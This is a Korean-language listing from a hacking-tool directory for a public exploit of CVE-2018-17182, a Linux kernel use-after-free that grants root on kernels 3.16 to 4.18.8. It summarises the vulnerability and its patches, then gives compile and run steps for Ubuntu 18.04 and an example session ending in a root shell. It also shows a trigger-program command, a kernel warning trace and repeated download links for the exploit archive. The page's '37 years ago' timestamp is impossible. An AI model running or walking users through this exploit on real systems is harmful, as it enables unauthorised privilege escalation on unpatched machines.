Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-17182 — Linux 커널 use-after-free (UAF) 권한 상승 익스플로잇 (CVE-2018-17182), 커널 버전 3.16~4.18.8 대상. PoC 및 Ubuntu 18.04용 컴파일/실행 지침 포함. | Kitploit
도구/GitHubGitHub/likekabin/cve-2018-17182
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationBinary Exploitation
GitHublikekabin/cve-2018-17182

CVE-2018-17182

Linux 커널 use-after-free (UAF) 권한 상승 익스플로잇 (CVE-2018-17182), 커널 버전 3.16~4.18.8 대상. PoC 및 Ubuntu 18.04용 컴파일/실행 지침 포함.

저장소 보기
37년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-17182

Linux 커널 VMA-UAF 권한 상승 취약점 (CVE-2018-17182)

소개

Google Project Zero의 사이버 보안 연구원들이 상세 정보를 발표했으며, 커널 버전 3.16부터 4.18.8까지의 Linux 커널에 존재하는 높은 심각도 취약점에 대한 개념 증명(PoC) 익스플로잇을 공개했습니다.

화이트 해커 Jann Horn이 발견한 이 커널 취약점(CVE-2018-17182)은 Linux 메모리 관리 하위 시스템의 캐시 무효화 오류로, 사용 후 해제(Use-After-Free) 취약점을 유발합니다.

악용될 경우, 공격자가 대상 시스템에서 루트 권한을 획득할 수 있습니다.

사용 후 해제(UAF) 취약점은 메모리 손상 오류의 한 종류로, 권한이 없는 사용자가 메모리의 데이터를 손상시키거나 변경하여 서비스 거부(시스템 충돌)를 유발하거나 권한을 상승시켜 시스템에 대한 관리자 접근 권한을 얻는 데 악용될 수 있습니다.

Linux 커널 취약점은 9월 18일 oss-security 메일링 리스트에 공개되었으며, 다음 날 업스트림에서 지원되는 안정적인 커널 버전 4.18.9, 4.14.71, 4.9.128 및 4.4.157에서 패치되었습니다.

3.16.58 버전에도 수정 사항이 포함되어 있습니다.

Ubuntu 18.04, 커널 linux-image-4.15.0-34-generic 버전 4.15.0-34.37용 추악한 익스플로잇을 첨부합니다.

루트 셸을 획득하는 데 약 (40분~1시간)이 걸립니다.

Linux 커널 익스플로잇은 루트 접근 권한을 얻는 데 1시간이 필요합니다

사용법: 먼저 ./compile.sh로 컴파일한 다음 ./puppeteer를 실행하세요. 예제 실행:

root@kitploit:~
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$
user@ubuntu-18-04-vm:~/vmacache$ ./puppeteer 
Do Sep 20 23:55:11 CEST 2018
puppeteer: old kmsg consumed
got map from child!
got WARNING
got RSP line: 0xffff9e0bc2263c60
got RAX line: 0xffff8c7caf1d61a0
got RDI line: 0xffff8c7c214c7380
reached WARNING part 2
got R8 line: 0xffffffffa7243680
trace consumed
offset: 0x110
fake vma pushed
suid file detected, launching rootshell...
we have root privs now...
Fr Sep 21 00:48:00 CEST 2018
root@ubuntu-18-04-vm:~/vmacache# 
root@ubuntu-18-04-vm:~/vmacache# 
root@ubuntu-18-04-vm:~/vmacache# 
root@ubuntu-18-04-vm:~/vmacache# 

start=23:55:11
stop=00:48:00  :)

개념 증명:

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45497.zip

사용법: 약 40분 이내

root@kitploit:~
user@debian:~/vma_bug$ gcc -O2 -o vma_test vma_test.c -g && ./vma_test
Segmentation fault
 
 
Within around 40 minutes, I get the following warning in dmesg:
 
=============================================
[ 2376.292518] WARNING: CPU: 0 PID: 1103 at mm/vmacache.c:157 vmacache_find+0xbb/0xd0
[ 2376.296813] Modules linked in: btrfs xor zstd_compress raid6_pq
[ 2376.300095] CPU: 0 PID: 1103 Comm: vma_test Not tainted 4.19.0-rc3+ #161
[ 2376.303650] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1 04/01/2014
[ 2376.305796] RIP: 0010:vmacache_find+0xbb/0xd0
[ 2376.306963] Code: 48 85 c0 74 11 48 39 78 40 75 1f 48 39 30 77 06 48 39 70 08 77 19 83 c2 01 83 fa 04 41 0f 44 d1 83 e9 01 75 c7 31 c0 c3 f3 c3 <0f> 0b 31 c0 c3 65 48 ff 05 98 97 9b 6a c3 90 90 90 90 90 90 90 0f
[ 2376.311881] RSP: 0000:ffffa934c1e3bec0 EFLAGS: 00010283
[ 2376.313258] RAX: ffff8ac7eaf997d0 RBX: 0000133700204000 RCX: 0000000000000004
[ 2376.315165] RDX: 0000000000000001 RSI: 0000133700204000 RDI: ffff8ac7f3820dc0
[ 2376.316998] RBP: ffff8ac7f3820dc0 R08: 0000000000000001 R09: 0000000000000000
[ 2376.318789] R10: 0000000000000000 R11: 0000000000000000 R12: ffffa934c1e3bf58
[ 2376.320590] R13: ffff8ac7f3820dc0 R14: 0000000000000055 R15: ffff8ac7e9355140
[ 2376.322481] FS:  00007f96165ca700(0000) GS:ffff8ac7f3c00000(0000) knlGS:0000000000000000
[ 2376.324620] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 2376.326101] CR2: 0000133700204000 CR3: 0000000229d28001 CR4: 00000000003606f0
[ 2376.327906] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 2376.329819] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[ 2376.331571] Call Trace:
[ 2376.332208]  find_vma+0x16/0x70
[ 2376.332991]  ? vfs_read+0x10f/0x130
[ 2376.333852]  __do_page_fault+0x191/0x470
[ 2376.334816]  ? async_page_fault+0x8/0x30
[ 2376.335776]  async_page_fault+0x1e/0x30
[ 2376.336746] RIP: 0033:0x555e2a2b4c37
[ 2376.337600] Code: 05 80 e8 9c fc ff ff 83 f8 ff 0f 84 ad 00 00 00 8b 3d 81 14 20 00 e8 48 02 00 00 48 b8 00 40 20 00 37 13 00 00 bf 37 13 37 13 <c6> 00 01 31 c0 e8 cf fc ff ff 48 83 ec 80 31 c0 5b 5d 41 5c c3 48
[ 2376.342085] RSP: 002b:00007ffd505e8d30 EFLAGS: 00010206
[ 2376.343334] RAX: 0000133700204000 RBX: 0000000100000000 RCX: 00007f9616102700
[ 2376.345133] RDX: 0000000000000008 RSI: 00007ffd505e8d18 RDI: 0000000013371337
[ 2376.346834] RBP: 00007f96165e4000 R08: 0000000000000000 R09: 0000000000000000
[ 2376.348889] R10: 0000000000000001 R11: 0000000000000246 R12: 0000000100000000
[ 2376.350570] R13: 00007ffd505e8ea0 R14: 0000000000000000 R15: 0000000000000000
[ 2376.352246] ---[ end trace 995fa641c5115cfb ]---
[ 2376.353406] vma_test[1103]: segfault at 133700204000 ip 0000555e2a2b4c37 sp 00007ffd505e8d30 error 6 in vma_test[555e2a2b4000+2000]
=============================================
 
경고에 해당하는 소스 코드입니다. VMA 캐시가 그동안 다른 프로세스에 재할당된 VMA 구조체를 참조하기 때문에 트리거됩니다.
 
#ifdef CONFIG_DEBUG_VM_VMACACHE
            if (WARN_ON_ONCE(vma->vm_mm != mm))
                break;
#endif
 
 
################################################################################

참조 링크:

root@kitploit:~
https://googleprojectzero.blogspot.com/2018/09/a-cache-invalidation-bug-in-linux.html

https://www.exploit-db.com/exploits/45497/

https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/45497.zip

도구 다운로드